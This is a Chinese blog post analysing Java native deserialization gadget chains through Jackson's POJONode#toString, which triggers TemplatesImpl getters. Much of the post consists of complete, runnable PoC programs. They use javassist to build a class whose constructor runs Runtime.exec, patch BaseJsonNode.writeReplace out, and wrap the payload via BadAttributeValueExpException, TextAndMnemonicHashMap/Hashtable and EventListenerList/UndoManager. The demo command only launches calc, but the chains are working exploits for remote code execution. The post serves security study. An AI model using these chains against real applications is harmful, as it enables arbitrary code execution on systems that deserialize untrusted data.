首页 > 其他分享 >jackson 原生反序列化触发 getter 方法

jackson 原生反序列化触发 getter 方法

时间:2024-09-12 22:48:16浏览次数:1  
标签:jackson java Object clazz getter obj import new 序列化

jackson 原生反序列化触发 getter 方法

  • jackson的POJONode方法可以任意调用getter

  • jackson序列化会任意调用getter

分析

jackson 序列化会调用任意 getter 方法,jackson 反序列化也会任意调用 getter ,这两个都不需要多说什么了,在前面的 jackson 反序列化中的 TemplatesImpl 链中已经证实过了。

现在只需要讨论 POJONode#toString --> jackson自身提供的反序列化 --> 任意调用Getter

POJONode 中不存在有 toString 方法的实现,但是其父类的父类存在,

跟进

看到调用了nodeToString 方法,

调用了 writeValueAsString 方法进行序列化这里就会调用 getter 方法,然后剩下的就是加载恶意类进行命令执行了。

poc.java

package org.example;  
  
import com.fasterxml.jackson.databind.ObjectMapper;  
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.*;  
  
import javax.management.BadAttributeValueExpException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.net.CookieHandler;  
  
import static org.example.ser.setValue;  
  
public class poc {  
    public static void main(String[] args)throws Exception  {  
        ClassPool pool = ClassPool.getDefault();  
        CtClass clazz = pool.makeClass("gaoren");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  
        constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  
        clazz.addConstructor(constructor);  
        byte[][] bytes = new byte[][]{clazz.toBytecode()};  
        TemplatesImpl templates = TemplatesImpl.class.newInstance();  
        setValue(templates, "_bytecodes", bytes);  
        setValue(templates, "_name", "a");  
        setValue(templates, "_tfactory", new TransformerFactoryImpl());  
  
        POJONode node = new POJONode(templates);  
        BadAttributeValueExpException val;  
        val = new BadAttributeValueExpException(null);  
        Field valfield = val.getClass().getDeclaredField("val");  
        valfield.setAccessible(true);  
        valfield.set(val, node);  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);  
        oos.writeObject(val);  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));  
        Object o = (Object)ois.readObject();  
    }  
}

运行确实弹出计算机,但是看调用栈发现根本就没有调用 tostring 方法,发现在 ObjectOuptputStream#writeObject0 抛出异常,

如果序列化的类实现了 writeReplace 方法,将会在序列化过程中调用它进行检查,而在 POJONode 的父类 BaseJsonNode 中就实现了这个方法,在这个方法的调用过程中抛出了异常,使得序列化过程中断

我们可以通过删除这个方法来跳过这个过程,但是发现 idea 无法修改源码,那么用 javassist 进行动态修改

package org.example;  
  
import com.fasterxml.jackson.databind.ObjectMapper;  
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.*;  
  
import javax.management.BadAttributeValueExpException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.net.CookieHandler;  
  
import static org.example.ser.setValue;  
  
public class poc {  
    public static void main(String[] args)throws Exception  {  
        ClassPool pool = ClassPool.getDefault();  
        ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader()));  
        CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        // 获取原方法  
        CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");  
        // 修改方法名  
        originalMethod.setName("Replace");  
        // 加载修改后的类  
        ctClass.toClass();  
        CtClass clazz = pool.makeClass("gaoren");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  
        constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  
        clazz.addConstructor(constructor);  
        byte[][] bytes = new byte[][]{clazz.toBytecode()};  
        TemplatesImpl templates = TemplatesImpl.class.newInstance();  
        setValue(templates, "_bytecodes", bytes);  
        setValue(templates, "_name", "a");  
        setValue(templates, "_tfactory", new TransformerFactoryImpl());  
  
        POJONode node = new POJONode(templates);  
        BadAttributeValueExpException val;  
        val = new BadAttributeValueExpException(null);  
        Field valfield = val.getClass().getDeclaredField("val");  
        valfield.setAccessible(true);  
        valfield.set(val, node);  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);  
        oos.writeObject(val);  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));  
        Object o = (Object)ois.readObject();  
    }  
}

最后成功调用到 getter 方法弹出计算机。

思考

既然能调用 getter 方法,那么可用的就不只有了 getoutputProperties ,如还可以调用 signedObject#getObject 进行二次反序化。

参考:https://xz.aliyun.com/t/12509

参考:jackson原生反序列化触发getter方法的利用与分析

TextAndMnemonicHashMap

位置:javax.swing.UIDefaults.TextAndMnemonicHashMap

可以看到继承 hashmap 可以进行序列化,然后调用了key的tostring。

然后需要调用其 get 方法,可以通过 java.util.AbstractMap#equals 直接进行调用

所以直接构造(入口直接照搬 cc7 就行了)

package org.example;  
import java.io.*;  
import java.lang.reflect.*;  
import java.util.Hashtable;  
import java.util.Map;  
  
  
public class test {  
    public static void main(String[] args)throws Exception {  
        Class tex = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");  
        Constructor con=tex.getDeclaredConstructor(null);  
        con.setAccessible(true);  
        Map texmap1 =(Map) con.newInstance();  
        Map texmap2 =(Map) con.newInstance();  
        texmap1.put("yy",1);  
        texmap2.put("zZ",1);  
  
        Hashtable hashtable = new Hashtable();  
        hashtable.put(texmap1,1);  
        hashtable.put(texmap2,1);  
        serilize(hashtable);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
}

然后现在试试调用 POJONode#toString 方法来进行命令执行

poc.java

package org.example;  
  
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.*;  
import sun.misc.Unsafe;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  
  
public class test2 {  
    public static void main(String[] args) throws Exception{  
        ClassPool pool = ClassPool.getDefault();  
        ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader()));  
        CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        // 获取原方法  
        CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");  
        // 修改方法名  
        originalMethod.setName("Replace");  
        // 加载修改后的类  
        ctClass.toClass();  
        CtClass clazz = pool.makeClass("gaoren");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  
        constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  
        clazz.addConstructor(constructor);  
        byte[][] bytess = new byte[][]{clazz.toBytecode()};  
        TemplatesImpl templates = TemplatesImpl.class.newInstance();  
        setValue(templates, "_bytecodes", bytess);  
        setValue(templates, "_name", "a");  
        setValue(templates, "_tfactory", new TransformerFactoryImpl());  
  
        POJONode node = new POJONode(templates);  
  
        Hashtable hashMap = makeHashMapByTextAndMnemonicHashMap(node);  
  
        serilize(hashMap);  
        deserilize("111.bin");  
  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Hashtable makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{  
        Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));  
        Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));  
        tHashMap1.put(toStringClass, "123");  
        tHashMap2.put(toStringClass, "12");  
        Hashtable hashtable = new Hashtable();  
        hashtable.put(tHashMap1,1);  
        hashtable.put(tHashMap2,1);  
  
        tHashMap1.put(toStringClass, null);  
        tHashMap2.put(toStringClass, null);  
        setFieldValue(tHashMap1, "loadFactor", 0.75f);  
        setFieldValue(tHashMap2, "loadFactor", 0.75f);  
        return hashtable;  
    }  
    public static Object getObjectByUnsafe(Class clazz) throws Exception{  
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");  
        theUnsafe.setAccessible(true);  
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);  
        return unsafe.allocateInstance(clazz);  
    }  
    public static void setFieldValue(Object obj, String key, Object val) throws Exception{  
        Field field = null;  
        Class clazz = obj.getClass();  
        while (true){  
            try {  
                field = clazz.getDeclaredField(key);  
                break;  
            } catch (NoSuchFieldException e){  
                clazz = clazz.getSuperclass();  
            }  
        }  
        field.setAccessible(true);  
        field.set(obj, val);  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
}

注意到关键部分

tHashMap1.put(toStringClass, "123");  
tHashMap2.put(toStringClass, "12");  
Hashtable hashtable = new Hashtable();  
hashtable.put(tHashMap1,1);  
hashtable.put(tHashMap2,1);  

tHashMap1.put(toStringClass, null);  
tHashMap2.put(toStringClass, null);  
setFieldValue(tHashMap1, "loadFactor", 0.75f);  
setFieldValue(tHashMap2, "loadFactor", 0.75f);  

EventListenerList

gadget:

EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>

来到 EventListenerList.readObject

看到调用了 add 方法,跟进

在 Object 进行拼接的时候会自动触发该对象的 toString 方法,现在只需要看调用哪个 tostring 方法就行了,

看到 l 需要能转型为 EventListener 类的,这里直接选择 javax.swing.undo.UndoManage

该类实现了 UndoableEditListener 接口,而该接口继承 java.util.EventListenerjavax.swing.undo.UndoManager#toString 方法

看到 limitindexOfNextAdd 都是 int 属性,所以拼接也不会调用什么。看到前面会调用其父类的 tostring 方法,所以继续向上看

其继承于 CompoundEdit 类,跟进 CompoundEdit#tostring方法

这里的 inProgressboolean 属性,但 edits 是个对象

所以在拼接的时候会自动触发 Vector#tostring 方法,

然后跟进其父类的 tostring 方法,但是其父类没有 tostring 方法,那么就调用其父类的父类也就是 AbstractCollection#toString 方法

发现 StringBuilderappend 方法,

最后看到 obj 可控,那么就能随意调用 tostring 方法了,

poc

package org.example;  
  
import com.fasterxml.jackson.databind.node.POJONode;  
  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
  
import java.lang.reflect.Field;  
  
import java.util.Base64;  
import java.util.Map;  
import java.util.Vector;  
  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.*;  
  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
  
  
public class test {  
    public static void main(String[] args) throws Exception {  
        ClassPool pool = ClassPool.getDefault();  
        ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader()));  
        CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        // 获取原方法  
        CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");  
        // 修改方法名  
        originalMethod.setName("Replace");  
        // 加载修改后的类  
        ctClass.toClass();  
        CtClass clazz = pool.makeClass("gaoren");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  
        constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  
        clazz.addConstructor(constructor);  
        byte[][] bytess = new byte[][]{clazz.toBytecode()};  
        TemplatesImpl templates = TemplatesImpl.class.newInstance();  
        setValue(templates, "_bytecodes", bytess);  
        setValue(templates, "_name", "a");  
        setValue(templates, "_tfactory", new TransformerFactoryImpl());  
        POJONode pojoNode = new POJONode(templates);  
  
        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()  
        EventListenerList list = new EventListenerList();  
        UndoManager manager = new UndoManager();  
        Vector vector = (Vector) getFieldValue(manager, "edits");  
        vector.add(pojoNode);  
        setFieldValue(list, "listenerList", new Object[] { Map.class, manager });  
  
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  
        objectOutputStream.writeObject(list);  
  
        String ser = Base64.getEncoder()  
                .encodeToString(byteArrayOutputStream.toByteArray());  
        System.out.println(ser);  
  
        byte[] decode = Base64.getDecoder().decode(ser);  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        baos.write(decode);  
  
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(  
                baos.toByteArray()));  
        objectInputStream.readObject();  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value)  
            throws Exception {  
        Class<?> clazz = obj.getClass();  
        Field field = clazz.getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
    public static Object getFieldValue(Object obj, String fieldName)  
            throws NoSuchFieldException, IllegalAccessException {  
        Class clazz = obj.getClass();  
  
        while (clazz != null) {  
            try {  
                Field field = clazz.getDeclaredField(fieldName);  
                field.setAccessible(true);  
  
                return field.get(obj);  
            } catch (Exception e) {  
                clazz = clazz.getSuperclass();  
            }  
        }  
  
        return null;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

标签:jackson,java,Object,clazz,getter,obj,import,new,序列化
From: https://www.cnblogs.com/gaorenyusi/p/18411269

相关文章

  • jackson 反序列化学习
    jackson反序列化学习jackson介绍Jackson是一个用于处理JSON数据的开源Java库。SpringMVC的默认json解析器便是Jackson。Jackson优点很多。Jackson所依赖的jar包较少,简单易用。与其他Java的json的框架Gson等相比,Jackson解析大的json文件速度比较快;Ja......
  • NC 序列化二叉树
    系列文章目录文章目录系列文章目录前言前言前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。描述请实现两个函数,分别用来序列化和反序列化二叉树,不对序列化之后的字......
  • fastjson1.2.24反序列化漏洞复现 CVE-2017-18349
    1.准备:1.1复现环境漏洞环境:vulnhub靶场工具准备:jdk8,apache-maven-3.9.9,kali2024.1,MarshalSec1.2环境启动进入vulnhub目录下的fastjson目录,进入CVE-2017-18349目录cd/home/hbesljx/vulhub/fastjson/1.2.24-rcedocker-compoe启动漏洞环境docker-composeup-d访问靶机......
  • Springboot枚举自定义序列化
    packagexxxxxxxxxxxxx;importcom.fasterxml.jackson.core.JsonGenerator;importcom.fasterxml.jackson.databind.JsonSerializer;importcom.fasterxml.jackson.databind.ObjectMapper;importcom.fasterxml.jackson.databind.SerializerProvider;importcom.fasterx......
  • 【高级编程】Java IO流(补)序列化 & 反序列化
    序列化(ObjectOutputStream)&反序列化(ObjectInputStream)Java的序列化和反序列化是用于将对象转换为字节流的过程,以便在网络上传输或保存到磁盘,然后将这些字节流再转换回对象。这个过程是Java中处理对象持久化和传输的常见方法。序列化是将对象的状态转换为字节流的过......
  • RapidJSON 的坑--允许Object对象存在相同的key,且key为数字时序列化报异常
    RapidJSON的坑--允许Object对象存在相同的key,且key为数字时序列化报异常测试代码如下:1voidshow(rapidjson::Document&doc)2{3printf("-----------------foriterator\nMemberCount:%d\n",doc.MemberCount());4for(autoit=doc.MemberBegin();it!=doc......
  • 类实现序列化接口后自动生成序列化ID
    1、为什么要实现序列化接口?在Java中,Serializable是一个标记接口(markerinterface),它本身并不包含任何方法。当一个类实现了Serializable接口,意味着这个类的对象可以被序列化,即可以转换为字节流,从而可以通过网络传输或者保存到磁盘上。为了保证序列化对象的唯一性以及版本控......
  • Java反序列化漏洞-TemplatesImpl利用链分析
    目录一、前言二、正文1.寻找利用链2.构造POC2.1生成字节码2.2加载字节码1)getTransletInstance2)defineTransletClasses2.3创建实例3.完整POC三、参考文章一、前言java.lang.ClassLoader#defineClassdefineClass可以加载字节码,但由于defineClass的作用域是protected,所以攻......
  • 【SpringBoot实用小知识】JSON序列化返回结果时出现的幽灵成员
    幽灵成员问题的解决前言debug过程结论及解决方式1.更改方法名称2.为方法加上@JsonIgnore注解前言这是一个很令人无语的问题在最近写代码时发现一个问题就是有时候在测试接口的时候发现返回结果中出现了一些本不该出现的字段甚至有时候还报错信息如下Writing......
  • 【Java】ApiPost请求返回 `406` 状态码(jackson)
    Java系列文章目录补充内容Windows通过SSH连接Linux第一章Linux基本命令的学习与Linux历史文章目录Java系列文章目录一、前言二、学习内容:三、问题描述3.1问题截图3.2错误简介3.2.1HTTP状态码`406NotAcceptable`3.2.2序列化和反序列化3.3后端问题位置四......